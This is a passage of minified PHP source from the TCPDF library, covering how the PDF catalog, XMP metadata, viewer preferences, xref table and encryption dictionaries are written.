";$out.='<< /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]';$out.=' /Font <<';foreach($this->fontkeys as $fontkey){$font=$this->getFontBuffer($fontkey);$out.=' /F'.$font['i'].' '.$font['n'].' 0 R';}$out.=' >>';$out.=' /XObject <<';$out.=$this->_getxobjectdict();$out.=' >>';if(!empty($this->pdflayers)){$out.=' /Properties <<';foreach($this->pdflayers as $layer){$out.=' /'.$layer['layer'].' '.$layer['objid'].' 0 R';}$out.=' >>';}if(!$this->pdfa_mode){if(isset($this->extgstates) AND !empty($this->extgstates)){$out.=' /ExtGState <<';foreach($this->extgstates as $k=>$extgstate){if(isset($extgstate['name'])){$out.=' /'.$extgstate['name'];}else {$out.=' /GS'.$k;}$out.=' '.$extgstate['n'].' 0 R';}$out.=' >>';}if(isset($this->gradients) AND !empty($this->gradients)){$gp='';$gs='';foreach($this->gradients as $id=>$grad){$gp.=' /p'.$id.' '.$grad['pattern'].' 0 R';$gs.=' /Sh'.$id.' '.$grad['id'].' 0 R';}$out.=' /Pattern <<'.$gp.' >>';$out.=' /Shading <<'.$gs.' >>';}}if(isset($this->spot_colors) AND !empty($this->spot_colors)){$out.=' /ColorSpace <<';foreach($this->spot_colors as $color){$out.=' /CS'.$color['i'].' '.$color['n'].' 0 R';}$out.=' >>';}$out.=' >>';$out.="
".'endobj';$this->_out($out);} function _putresources(){$this->_putextgstates();$this->_putocg();$this->_putfonts();$this->_putimages();$this->_putspotcolors();$this->_putshaders();$this->_putxobjects();$this->_putresourcedict();$this->_putdests();$this->_putEmbeddedFiles();$this->_putannotsobjs();$this->_putjavascript();$this->_putbookmarks();$this->_putencryption();} function _putinfo(){$oid=$this->_newobj();$out='<<';$prev_isunicode=$this->isunicode;if($this->docinfounicode){$this->isunicode=true;}if(!TCPDF_STATIC::empty_string($this->title)){$out.=' /Title '.$this->_textstring($this->title,$oid);}if(!TCPDF_STATIC::empty_string($this->author)){$out.=' /Author '.$this->_textstring($this->author,$oid);}if(!TCPDF_STATIC::empty_string($this->subject)){$out.=' /Subject '.$this->_textstring($this->subject,$oid);}if(!TCPDF_STATIC::empty_string($this->keywords)){$out.=' /Keywords '.$this->_textstring($this->keywords,$oid);}if(!TCPDF_STATIC::empty_string($this->creator)){$out.=' /Creator '.$this->_textstring($this->creator,$oid);}$this->isunicode=$prev_isunicode;$out.=' /Producer '.$this->_textstring(TCPDF_STATIC::getTCPDFProducer(),$oid);$out.=' /CreationDate '.$this->_datestring(0,$this->doc_creation_timestamp);$out.=' /ModDate '.$this->_datestring(0,$this->doc_modification_timestamp);$out.=' /Trapped /False';$out.=' >>';$out.="
".'endobj';$this->_out($out);return $oid;} function setExtraXMP($xmp){$this->custom_xmp=$xmp;} function _putXMP(){$oid=$this->_newobj();$prev_isunicode=$this->isunicode;$this->isunicode=true;$prev_encrypted=$this->encrypted;$this->encrypted=false;$xmp='<?xpacket begin="'.TCPDF_FONTS::unichr(0xfeff,$this->isunicode).'" id="W5M0MpCehiHzreSzNTczkc9d"?>'."
";$xmp.='<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.1-c043 52.372728, 2009/01/18-15:08:04">'."
";$xmp.="	".'<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">'."
";$xmp.="		".'<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">'."
";$xmp.="			".'<dc:format>application/pdf</dc:format>'."
";$xmp.="			".'<dc:title>'."
";$xmp.="				".'<rdf:Alt>'."
";$xmp.="					".'<rdf:li xml:lang="x-default">'.TCPDF_STATIC::_escapeXML($this->title).'</rdf:li>'."
";$xmp.="				".'</rdf:Alt>'."
";$xmp.="			".'</dc:title>'."
";$xmp.="			".'<dc:creator>'."
";$xmp.="				".'<rdf:Seq>'."
";$xmp.="					".'<rdf:li>'.TCPDF_STATIC::_escapeXML($this->author).'</rdf:li>'."
";$xmp.="				".'</rdf:Seq>'."
";$xmp.="			".'</dc:creator>'."
";$xmp.="			".'<dc:description>'."
";$xmp.="				".'<rdf:Alt>'."
";$xmp.="					".'<rdf:li xml:lang="x-default">'.TCPDF_STATIC::_escapeXML($this->subject).'</rdf:li>'."
";$xmp.="				".'</rdf:Alt>'."
";$xmp.="			".'</dc:description>'."
";$xmp.="			".'<dc:subject>'."
";$xmp.="				".'<rdf:Bag>'."
";$xmp.="					".'<rdf:li>'.TCPDF_STATIC::_escapeXML($this->keywords).'</rdf:li>'."
";$xmp.="				".'</rdf:Bag>'."
";$xmp.="			".'</dc:subject>'."
";$xmp.="		".'</rdf:Description>'."
";$dcdate=TCPDF_STATIC::getFormattedDate($this->doc_creation_timestamp);$doccreationdate=substr($dcdate,0,4).'-'.substr($dcdate,4,2).'-'.substr($dcdate,6,2);$doccreationdate.='T'.substr($dcdate,8,2).':'.substr($dcdate,10,2).':'.substr($dcdate,12,2);$doccreationdate.=substr($dcdate,14,3).':'.substr($dcdate,18,2);$doccreationdate=TCPDF_STATIC::_escapeXML($doccreationdate);$dmdate=TCPDF_STATIC::getFormattedDate($this->doc_modification_timestamp);$docmoddate=substr($dmdate,0,4).'-'.substr($dmdate,4,2).'-'.substr($dmdate,6,2);$docmoddate.='T'.substr($dmdate,8,2).':'.substr($dmdate,10,2).':'.substr($dmdate,12,2);$docmoddate.=substr($dmdate,14,3).':'.substr($dmdate,18,2);$docmoddate=TCPDF_STATIC::_escapeXML($docmoddate);$xmp.="		".'<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">'."
";$xmp.="			".'<xmp:CreateDate>'.$doccreationdate.'</xmp:CreateDate>'."
";$xmp.="			".'<xmp:CreatorTool>'.$this->creator.'</xmp:CreatorTool>'."
";$xmp.="			".'<xmp:ModifyDate>'.$docmoddate.'</xmp:ModifyDate>'."
";$xmp.="			".'<xmp:MetadataDate>'.$doccreationdate.'</xmp:MetadataDate>'."
";$xmp.="		".'</rdf:Description>'."
";$xmp.="		".'<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/">'."
";$xmp.="			".'<pdf:Keywords>'.TCPDF_STATIC::_escapeXML($this->keywords).'</pdf:Keywords>'."
";$xmp.="			".'<pdf:Producer>'.TCPDF_STATIC::_escapeXML(TCPDF_STATIC::getTCPDFProducer()).'</pdf:Producer>'."
";$xmp.="		".'</rdf:Description>'."
";$xmp.="		".'<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">'."
";$uuid='uuid:'.substr($this->file_id,0,8).'-'.substr($this->file_id,8,4).'-'.substr($this->file_id,12,4).'-'.substr($this->file_id,16,4).'-'.substr($this->file_id,20,12);$xmp.="			".'<xmpMM:DocumentID>'.$uuid.'</xmpMM:DocumentID>'."
";$xmp.="			".'<xmpMM:InstanceID>'.$uuid.'</xmpMM:InstanceID>'."
";$xmp.="		".'</rdf:Description>'."
";if($this->pdfa_mode){$xmp.="		".'<rdf:Description rdf:about="" xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/">'."
";$xmp.="			".'<pdfaid:part>1</pdfaid:part>'."
";$xmp.="			".'<pdfaid:conformance>B</pdfaid:conformance>'."
";$xmp.="		".'</rdf:Description>'."
";}$xmp.="		".'<rdf:Description rdf:about="" xmlns:pdfaExtension="http://www.aiim.org/pdfa/ns/extension/" xmlns:pdfaSchema="http://www.aiim.org/pdfa/ns/schema#" xmlns:pdfaProperty="http://www.aiim.org/pdfa/ns/property#">'."
";$xmp.="			".'<pdfaExtension:schemas>'."
";$xmp.="				".'<rdf:Bag>'."
";$xmp.="					".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="						".'<pdfaSchema:namespaceURI>http://ns.adobe.com/pdf/1.3/</pdfaSchema:namespaceURI>'."
";$xmp.="						".'<pdfaSchema:prefix>pdf</pdfaSchema:prefix>'."
";$xmp.="						".'<pdfaSchema:schema>Adobe PDF Schema</pdfaSchema:schema>'."
";$xmp.="					".'</rdf:li>'."
";$xmp.="					".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="						".'<pdfaSchema:namespaceURI>http://ns.adobe.com/xap/1.0/mm/</pdfaSchema:namespaceURI>'."
";$xmp.="						".'<pdfaSchema:prefix>xmpMM</pdfaSchema:prefix>'."
";$xmp.="						".'<pdfaSchema:schema>XMP Media Management Schema</pdfaSchema:schema>'."
";$xmp.="						".'<pdfaSchema:property>'."
";$xmp.="							".'<rdf:Seq>'."
";$xmp.="								".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="									".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.="									".'<pdfaProperty:description>UUID based identifier for specific incarnation of a document</pdfaProperty:description>'."
";$xmp.="									".'<pdfaProperty:name>InstanceID</pdfaProperty:name>'."
";$xmp.="									".'<pdfaProperty:valueType>URI</pdfaProperty:valueType>'."
";$xmp.="								".'</rdf:li>'."
";$xmp.="							".'</rdf:Seq>'."
";$xmp.="						".'</pdfaSchema:property>'."
";$xmp.="					".'</rdf:li>'."
";$xmp.="					".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="						".'<pdfaSchema:namespaceURI>http://www.aiim.org/pdfa/ns/id/</pdfaSchema:namespaceURI>'."
";$xmp.="						".'<pdfaSchema:prefix>pdfaid</pdfaSchema:prefix>'."
";$xmp.="						".'<pdfaSchema:schema>PDF/A ID Schema</pdfaSchema:schema>'."
";$xmp.="						".'<pdfaSchema:property>'."
";$xmp.="							".'<rdf:Seq>'."
";$xmp.="								".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="									".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.="									".'<pdfaProperty:description>Part of PDF/A standard</pdfaProperty:description>'."
";$xmp.="									".'<pdfaProperty:name>part</pdfaProperty:name>'."
";$xmp.="									".'<pdfaProperty:valueType>Integer</pdfaProperty:valueType>'."
";$xmp.="								".'</rdf:li>'."
";$xmp.="								".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="									".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.="									".'<pdfaProperty:description>Amendment of PDF/A standard</pdfaProperty:description>'."
";$xmp.="									".'<pdfaProperty:name>amd</pdfaProperty:name>'."
";$xmp.="									".'<pdfaProperty:valueType>Text</pdfaProperty:valueType>'."
";$xmp.="								".'</rdf:li>'."
";$xmp.="								".'<rdf:li rdf:parseType="Resource">'."
";$xmp.="									".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.="									".'<pdfaProperty:description>Conformance level of PDF/A standard</pdfaProperty:description>'."
";$xmp.="									".'<pdfaProperty:name>conformance</pdfaProperty:name>'."
";$xmp.="									".'<pdfaProperty:valueType>Text</pdfaProperty:valueType>'."
";$xmp.="								".'</rdf:li>'."
";$xmp.="							".'</rdf:Seq>'."
";$xmp.="						".'</pdfaSchema:property>'."
";$xmp.="					".'</rdf:li>'."
";$xmp.="				".'</rdf:Bag>'."
";$xmp.="			".'</pdfaExtension:schemas>'."
";$xmp.="		".'</rdf:Description>'."
";$xmp.="	".'</rdf:RDF>'."
";$xmp.=$this->custom_xmp;$xmp.='</x:xmpmeta>'."
";$xmp.='<?xpacket end="w"?>';$out='<< /Type /Metadata /Subtype /XML /Length '.strlen($xmp).' >> stream'."
".$xmp."
".'endstream'."
".'endobj';$this->isunicode=$prev_isunicode;$this->encrypted=$prev_encrypted;$this->_out($out);return $oid;} function _putcatalog(){$xmpobj=$this->_putXMP();$oid=$this->_newobj();$out='<< /Type /Catalog';$out.=' /Version /'.$this->PDFVersion;$out.=' /Pages 1 0 R';$out.=' /Names <<';if((!$this->pdfa_mode) AND !empty($this->n_js)){$out.=' /JavaScript '.$this->n_js;}if(!empty($this->efnames)){$out.=' /EmbeddedFiles <</Names [';foreach($this->efnames AS $fn=>$fref){$out.=' '.$this->_datastring($fn).' '.$fref;}$out.=' ]>>';}$out.=' >>';if(!empty($this->dests)){$out.=' /Dests '.($this->n_dests).' 0 R';}$out.=$this->_putviewerpreferences();if(isset($this->LayoutMode) AND (!TCPDF_STATIC::empty_string($this->LayoutMode))){$out.=' /PageLayout /'.$this->LayoutMode;}if(isset($this->PageMode) AND (!TCPDF_STATIC::empty_string($this->PageMode))){$out.=' /PageMode /'.$this->PageMode;}if(count($this->outlines)>0){$out.=' /Outlines '.$this->OutlineRoot.' 0 R';$out.=' /PageMode /UseOutlines';}if($this->ZoomMode=='fullpage'){$out.=' /OpenAction ['.$this->page_obj_id[1].' 0 R /Fit]';}elseif($this->ZoomMode=='fullwidth'){$out.=' /OpenAction ['.$this->page_obj_id[1].' 0 R /FitH null]';}elseif($this->ZoomMode=='real'){$out.=' /OpenAction ['.$this->page_obj_id[1].' 0 R /XYZ null null 1]';}elseif(!is_string($this->ZoomMode)){$out.=sprintf(' /OpenAction ['.$this->page_obj_id[1].' 0 R /XYZ null null %F]',($this->ZoomMode/100));}$out.=' /Metadata '.$xmpobj.' 0 R';if(isset($this->l['a_meta_language'])){$out.=' /Lang '.$this->_textstring($this->l['a_meta_language'],$oid);}if($this->pdfa_mode OR $this->force_srgb){$out.=' /OutputIntents [<<';$out.=' /Type /OutputIntent';$out.=' /S /GTS_PDFA1';$out.=' /OutputCondition '.$this->_textstring('sRGB IEC61966-2.1',$oid);$out.=' /OutputConditionIdentifier '.$this->_textstring('sRGB IEC61966-2.1',$oid);$out.=' /RegistryName '.$this->_textstring('http://www.color.org',$oid);$out.=' /Info '.$this->_textstring('sRGB IEC61966-2.1',$oid);$out.=' /DestOutputProfile '.$iccobj.' 0 R';$out.=' >>]';}if(!empty($this->pdflayers)){$lyrobjs='';$lyrobjs_off='';$lyrobjs_lock='';foreach($this->pdflayers as $layer){$layer_obj_ref=' '.$layer['objid'].' 0 R';$lyrobjs.=$layer_obj_ref;if($layer['view']===false){$lyrobjs_off.=$layer_obj_ref;}if($layer['lock']){$lyrobjs_lock.=$layer_obj_ref;}}$out.=' /OCProperties << /OCGs ['.$lyrobjs.']';$out.=' /D <<';$out.=' /Name '.$this->_textstring('Layers',$oid);$out.=' /Creator '.$this->_textstring('TCPDF',$oid);$out.=' /BaseState /ON';$out.=' /OFF ['.$lyrobjs_off.']';$out.=' /Locked ['.$lyrobjs_lock.']';$out.=' /Intent /View';$out.=' /AS [';$out.=' << /Event /Print /OCGs ['.$lyrobjs.'] /Category [/Print] >>';$out.=' << /Event /View /OCGs ['.$lyrobjs.'] /Category [/View] >>';$out.=' ]';$out.=' /Order ['.$lyrobjs.']';$out.=' /ListMode /AllPages';$out.=' >>';$out.=' >>';}if(!empty($this->form_obj_id) OR ($this->sign AND isset($this->signature_data['cert_type'])) OR !empty($this->empty_signature_appearance)){$out.=' /AcroForm <<';$objrefs='';if($this->sign AND isset($this->signature_data['cert_type'])){$objrefs.=$this->sig_obj_id.' 0 R';}if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $esa){$objrefs.=' '.$esa['objid'].' 0 R';}}if(!empty($this->form_obj_id)){foreach($this->form_obj_id as $objid){$objrefs.=' '.$objid.' 0 R';}}$out.=' /Fields ['.$objrefs.']';if(empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A')){$out.=' /NeedAppearances false';}if($this->sign AND isset($this->signature_data['cert_type'])){if($this->signature_data['cert_type']>0){$out.=' /SigFlags 3';}else {$out.=' /SigFlags 1';}}if(isset($this->annotation_fonts) AND !empty($this->annotation_fonts)){$out.=' /DR <<';$out.=' /Font <<';foreach($this->annotation_fonts as $fontkey=>$fontid){$out.=' /F'.$fontid.' '.$this->font_obj_ids[$fontkey].' 0 R';}$out.=' >> >>';}$font=$this->getFontBuffer('helvetica');$out.=' /DA (/F'.$font['i'].' 0 Tf 0 g)';$out.=' /Q '.(($this->rtl)?'2':'0');$out.=' >>';if($this->sign AND isset($this->signature_data['cert_type']) AND (empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A'))){if($this->signature_data['cert_type']>0){$out.=' /Perms << /DocMDP '.($this->sig_obj_id+1).' 0 R >>';}else {$out.=' /Perms << /UR3 '.($this->sig_obj_id+1).' 0 R >>';}}}$out.=' >>';$out.="
".'endobj';$this->_out($out);return $oid;} function _putviewerpreferences(){$vp=$this->viewer_preferences;$out=' /ViewerPreferences <<';if($this->rtl){$out.=' /Direction /R2L';}else {$out.=' /Direction /L2R';}if(isset($vp['HideToolbar']) AND ($vp['HideToolbar'])){$out.=' /HideToolbar true';}if(isset($vp['HideMenubar']) AND ($vp['HideMenubar'])){$out.=' /HideMenubar true';}if(isset($vp['HideWindowUI']) AND ($vp['HideWindowUI'])){$out.=' /HideWindowUI true';}if(isset($vp['FitWindow']) AND ($vp['FitWindow'])){$out.=' /FitWindow true';}if(isset($vp['CenterWindow']) AND ($vp['CenterWindow'])){$out.=' /CenterWindow true';}if(isset($vp['DisplayDocTitle']) AND ($vp['DisplayDocTitle'])){$out.=' /DisplayDocTitle true';}if(isset($vp['NonFullScreenPageMode'])){$out.=' /NonFullScreenPageMode /'.$vp['NonFullScreenPageMode'];}if(isset($vp['ViewArea'])){$out.=' /ViewArea /'.$vp['ViewArea'];}if(isset($vp['ViewClip'])){$out.=' /ViewClip /'.$vp['ViewClip'];}if(isset($vp['PrintArea'])){$out.=' /PrintArea /'.$vp['PrintArea'];}if(isset($vp['PrintClip'])){$out.=' /PrintClip /'.$vp['PrintClip'];}if(isset($vp['PrintScaling'])){$out.=' /PrintScaling /'.$vp['PrintScaling'];}if(isset($vp['Duplex']) AND (!TCPDF_STATIC::empty_string($vp['Duplex']))){$out.=' /Duplex /'.$vp['Duplex'];}if(isset($vp['PickTrayByPDFSize'])){if($vp['PickTrayByPDFSize']){$out.=' /PickTrayByPDFSize true';}else {$out.=' /PickTrayByPDFSize false';}}if(isset($vp['PrintPageRange'])){$PrintPageRangeNum='';foreach($vp['PrintPageRange'] as $k=>$v){$PrintPageRangeNum.=' '.($v-1).'';}$out.=' /PrintPageRange ['.substr($PrintPageRangeNum,1).']';}if(isset($vp['NumCopies'])){$out.=' /NumCopies '.intval($vp['NumCopies']);}$out.=' >>';return $out;} function _putheader(){$this->_out('%PDF-'.$this->PDFVersion);$this->_out('%'.chr(0xe2).chr(0xe3).chr(0xcf).chr(0xd3));} function _enddoc(){if(isset($this->CurrentFont['fontkey']) AND isset($this->CurrentFont['subsetchars'])){$this->setFontSubBuffer($this->CurrentFont['fontkey'],'subsetchars',$this->CurrentFont['subsetchars']);}$this->state=1;$this->_putheader();$this->_putpages();$this->_putresources();if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $key=>$esa){$out=$this->_getobj($esa['objid'])."
";$out.='<< /Type /Annot';$out.=' /Subtype /Widget';$out.=' /Rect ['.$esa['rect'].']';$out.=' /P '.$this->page_obj_id[($esa['page'])].' 0 R';$out.=' /F 4';$out.=' /FT /Sig';$signame=$esa['name'].sprintf(' [%03d]',($key+1));$out.=' /T '.$this->_textstring($signame,$esa['objid']);$out.=' /Ff 0';$out.=' >>';$out.="
".'endobj';$this->_out($out);}}if($this->sign AND isset($this->signature_data['cert_type'])){$out=$this->_getobj($this->sig_obj_id)."
";$out.='<< /Type /Annot';$out.=' /Subtype /Widget';$out.=' /Rect ['.$this->signature_appearance['rect'].']';$out.=' /P '.$this->page_obj_id[($this->signature_appearance['page'])].' 0 R';$out.=' /F 4';$out.=' /FT /Sig';$out.=' /T '.$this->_textstring($this->signature_appearance['name'],$this->sig_obj_id);$out.=' /Ff 0';$out.=' /V '.($this->sig_obj_id+1).' 0 R';$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_putsignature();}$objid_info=$this->_putinfo();$objid_catalog=$this->_putcatalog();$o=$this->bufferlen;$this->_out('xref');$this->_out('0 '.($this->n+1));$this->_out('0000000000 65535 f ');$freegen=($this->n+2);for($i=1;$i<=$this->n;++$i){if(!isset($this->offsets[$i]) AND ($i>1)){$this->_out(sprintf('0000000000 %05d f ',$freegen));++$freegen;}else {$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));}}$out='trailer'."
";$out.='<<';$out.=' /Size '.($this->n+1);$out.=' /Root '.$objid_catalog.' 0 R';$out.=' /Info '.$objid_info.' 0 R';if($this->encrypted){$out.=' /Encrypt '.$this->encryptdata['objid'].' 0 R';}$out.=' /ID [ <'.$this->file_id.'> <'.$this->file_id.'> ]';$out.=' >>';$this->_out($out);$this->_out('startxref');$this->_out($o);$this->_out('%%EOF');$this->state=3;} function _beginpage($orientation='',$format=''){++$this->page;$this->pageobjects[$this->page]=array();$this->setPageBuffer($this->page,'');$this->transfmrk[$this->page]=array();$this->state=2;if(TCPDF_STATIC::empty_string($orientation)){if(isset($this->CurOrientation)){$orientation=$this->CurOrientation;}elseif($this->fwPt>$this->fhPt){$orientation='L';}else {$orientation='P';}}if(TCPDF_STATIC::empty_string($format)){$this->pagedim[$this->page]=$this->pagedim[($this->page-1)];$this->setPageOrientation($orientation);}else {$this->setPageFormat($format,$orientation);}if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}$this->y=$this->tMargin;if(isset($this->newpagegroup[$this->page])){$this->currpagegroup=$this->newpagegroup[$this->page];$this->pagegroups[$this->currpagegroup]=1;}elseif(isset($this->currpagegroup) AND ($this->currpagegroup>0)){++$this->pagegroups[$this->currpagegroup];}} function _endpage(){$this->setVisibility('all');$this->state=1;} function _newobj(){$this->_out($this->_getobj());return $this->n;} function _getobj($objid=''){if($objid===''){++$this->n;$objid=$this->n;}$this->offsets[$objid]=$this->bufferlen;$this->pageobjects[$this->page][]=$objid;return $objid.' 0 obj';} function _dounderline($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dounderlinew($x,$y,$w);} function _dounderlinew($x,$y,$w){$linew=-$this->CurrentFont['ut']/1000*$this->FontSizePt;return sprintf('%F %F %F %F re f',$x*$this->k,((($this->h-$y)*$this->k)+$linew),$w*$this->k,$linew);} function _dolinethrough($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dolinethroughw($x,$y,$w);} function _dolinethroughw($x,$y,$w){$linew=-$this->CurrentFont['ut']/1000*$this->FontSizePt;return sprintf('%F %F %F %F re f',$x*$this->k,((($this->h-$y)*$this->k)+$linew+($this->FontSizePt/3)),$w*$this->k,$linew);} function _dooverline($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dooverlinew($x,$y,$w);} function _dooverlinew($x,$y,$w){$linew=-$this->CurrentFont['ut']/1000*$this->FontSizePt;return sprintf('%F %F %F %F re f',$x*$this->k,(($this->h-$y+$this->FontAscent)*$this->k)-$linew,$w*$this->k,$linew);} function _datastring($s,$n=0){if($n==0){$n=$this->n;}$s=$this->_encrypt_data($n,$s);return '('.TCPDF_STATIC::_escape($s).')';} function setDocCreationTimestamp($time){if(is_string($time)){$time=TCPDF_STATIC::getTimestamp($time);}$this->doc_creation_timestamp=intval($time);} function setDocModificationTimestamp($time){if(is_string($time)){$time=TCPDF_STATIC::getTimestamp($time);}$this->doc_modification_timestamp=intval($time);} function getDocCreationTimestamp(){return $this->doc_creation_timestamp;} function getDocModificationTimestamp(){return $this->doc_modification_timestamp;} function _datestring($n=0,$timestamp=0){if((empty($timestamp)) OR ($timestamp<0)){$timestamp=$this->doc_creation_timestamp;}return $this->_datastring('D:'.TCPDF_STATIC::getFormattedDate($timestamp),$n);} function _textstring($s,$n=0){if($this->isunicode){$s=TCPDF_FONTS::UTF8ToUTF16BE($s,true,$this->isunicode,$this->CurrentFont);}return $this->_datastring($s,$n);} function _getrawstream($s,$n=0){if($n<=0){$n=$this->n;}return $this->_encrypt_data($n,$s);} function _out($s){if($this->state==2){if($this->inxobj){$this->xobjects[$this->xobjid]['outdata'].=$s."
";}elseif((!$this->InFooter) AND isset($this->footerlen[$this->page]) AND ($this->footerlen[$this->page]>0)){$pagebuff=$this->getPageBuffer($this->page);$page=substr($pagebuff,0,-$this->footerlen[$this->page]);$footer=substr($pagebuff,-$this->footerlen[$this->page]);$this->setPageBuffer($this->page,$page.$s."
".$footer);$this->footerpos[$this->page]+=strlen($s."
");}else {$this->setPageBuffer($this->page,$s."
",true);}}elseif($this->state>0){$this->setBuffer($s."
");}} function setHeaderFont($font){$this->header_font=$font;} function getHeaderFont(){return $this->header_font;} function setFooterFont($font){$this->footer_font=$font;} function getFooterFont(){return $this->footer_font;} function setLanguageArray($language){$this->l=$language;if(isset($this->l['a_meta_dir'])){$this->rtl=$this->l['a_meta_dir']=='rtl'?true:false;}else {$this->rtl=false;}} function getPDFData(){if($this->state<3){$this->Close();}return $this->buffer;} function addHtmlLink($url,$name,$fill=false,$firstline=false,$color='',$style=-1,$firstblock=false){if(isset($url[1]) AND ($url[0]=='#') AND is_numeric($url[1])){$lnkdata=explode(',',$url);if(isset($lnkdata[0])){$page=substr($lnkdata[0],1);if(isset($lnkdata[1]) AND (strlen($lnkdata[1])>0)){$lnky=floatval($lnkdata[1]);}else {$lnky=0;}$url=$this->AddLink();$this->SetLink($url,$lnky,$page);}}$prevcolor=$this->fgcolor;$prevstyle=$this->FontStyle;if(empty($color)){$this->SetTextColorArray($this->htmlLinkColorArray);}else {$this->SetTextColorArray($color);}if($style==-1){$this->SetFont('',$this->FontStyle.$this->htmlLinkFontStyle);}else {$this->SetFont('',$this->FontStyle.$style);}$ret=$this->Write($this->lasth,$name,$url,$fill,'',false,0,$firstline,$firstblock,0);$this->SetFont('',$prevstyle);$this->SetTextColorArray($prevcolor);return $ret;} function pixelsToUnits($px){return ($px/($this->imgscale*$this->k));} function unhtmlentities($text_to_convert){return @html_entity_decode($text_to_convert,ENT_QUOTES,$this->encoding);} function _objectkey($n){$objkey=$this->encryptdata['key'].pack('VXxx',$n);if($this->encryptdata['mode']==2){$objkey.="sAlT";}$objkey=substr(TCPDF_STATIC::_md5_16($objkey),0,(($this->encryptdata['Length']/8)+5));$objkey=substr($objkey,0,16);return $objkey;} function _encrypt_data($n,$s){if(!$this->encrypted){return $s;}switch($this->encryptdata['mode']){case 0:case 1:{$s=TCPDF_STATIC::_RC4($this->_objectkey($n),$s,$this->last_enc_key,$this->last_enc_key_c);break;}case 2:{$s=TCPDF_STATIC::_AES($this->_objectkey($n),$s);break;}case 3:{$s=TCPDF_STATIC::_AES($this->encryptdata['key'],$s);break;}}return $s;} function _putencryption(){if(!$this->encrypted){return;}$this->encryptdata['objid']=$this->_newobj();$out='<<';if(!isset($this->encryptdata['Filter']) OR empty($this->encryptdata['Filter'])){$this->encryptdata['Filter']='Standard';}$out.=' /Filter /'.$this->encryptdata['Filter'];if(isset($this->encryptdata['SubFilter']) AND !empty($this->encryptdata['SubFilter'])){$out.=' /SubFilter /'.$this->encryptdata['SubFilter'];}if(!isset($this->encryptdata['V']) OR empty($this->encryptdata['V'])){$this->encryptdata['V']=1;}$out.=' /V '.$this->encryptdata['V'];if(isset($this->encryptdata['Length']) AND !empty($this->encryptdata['Length'])){$out.=' /Length '.$this->encryptdata['Length'];}else {$out.=' /Length 40';}if($this->encryptdata['V']>=4){if(!isset($this->encryptdata['StmF']) OR empty($this->encryptdata['StmF'])){$this->encryptdata['StmF']='Identity';}if(!isset($this->encryptdata['StrF']) OR empty($this->encryptdata['StrF'])){$this->encryptdata['StrF']='Identity';}if(isset($this->encryptdata['CF']) AND !empty($this->encryptdata['CF'])){$out.=' /CF <<';$out.=' /'.$this->encryptdata['StmF'].' <<';$out.=' /Type /CryptFilter';if(isset($this->encryptdata['CF']['CFM']) AND !empty($this->encryptdata['CF']['CFM'])){$out.=' /CFM /'.$this->encryptdata['CF']['CFM'];if($this->encryptdata['pubkey']){$out.=' /Recipients [';foreach($this->encryptdata['Recipients'] as $rec){$out.=' <'.$rec.'>';}$out.=' ]';if(isset($this->encryptdata['CF']['EncryptMetadata']) AND (!$this->encryptdata['CF']['EncryptMetadata'])){$out.=' /EncryptMetadata false';}else {$out.=' /EncryptMetadata true';}}}else {$out.=' /CFM /None';}if(isset($this->encryptdata['CF']['AuthEvent']) AND !empty($this->encryptdata['CF']['AuthEvent'])){$out.=' /AuthEvent /'.$this->encryptdata['CF']['AuthEvent'];}else {$out.=' /AuthEvent /DocOpen';}if(isset($this->encryptdata['CF']['Length']) AND !empty($this->encryptdata['CF']['Length'])){$out.=' /Length '.$this->encryptdata['CF']['Length'];}$out.=' >> >>';}$out.=' /StmF /'.$this->encryptdata['StmF'];$out.=' /StrF /'.$this->encryptdata['StrF'];if(isset($this->encryptdata['EFF']) AND !empty($this->encryptdata['EFF'])){$out.=' /EFF /'.$this->encryptdata[''];}}if($this->encryptdata['pubkey']){if(($this->encryptdata['V']<4) AND isset($this->encryptdata['Recipients']) AND !empty($this->encryptdata['Recipients'])){$out.=' /Recipients [';foreach($this->encryptdata['Recipients'] as $rec){$out.=' <'.$rec.'>';}$out.=' ]';}}else {$out.=' /R';if($this->encryptdata['V']==5){$out.=' 5';$out.=' /OE ('.TCPDF_STATIC::_escape($this->encryptdata['OE']).')';$out.=' /UE ('.TCPDF_STATIC::_escape($this->encryptdata['UE']).')';$out.=' /Perms ('.TCPDF_STATIC::_escape($this->encryptdata['perms']).')';}elseif($this->encryptdata['V']==4){$out.=' 4';}elseif($this->encryptdata['V']<2){$out.=' 2';}else {$out.=' 3';}$out.=' /O ('.TCPDF_STATIC::_escape($this->encryptdata['O']).')';$out.=' /U ('.TCPDF_STATIC::_escape($this->encryptdata['U']).')';$out.=' /P '.$this->encryptdata['P'];if(isset($this->encryptdata['EncryptMetadata']) AND (!$this->encryptdata['EncryptMetadata'])){$out.=' /EncryptMetadata false';}else {$out.=' /EncryptMetadata true';}}$out.=' >>';$out.="
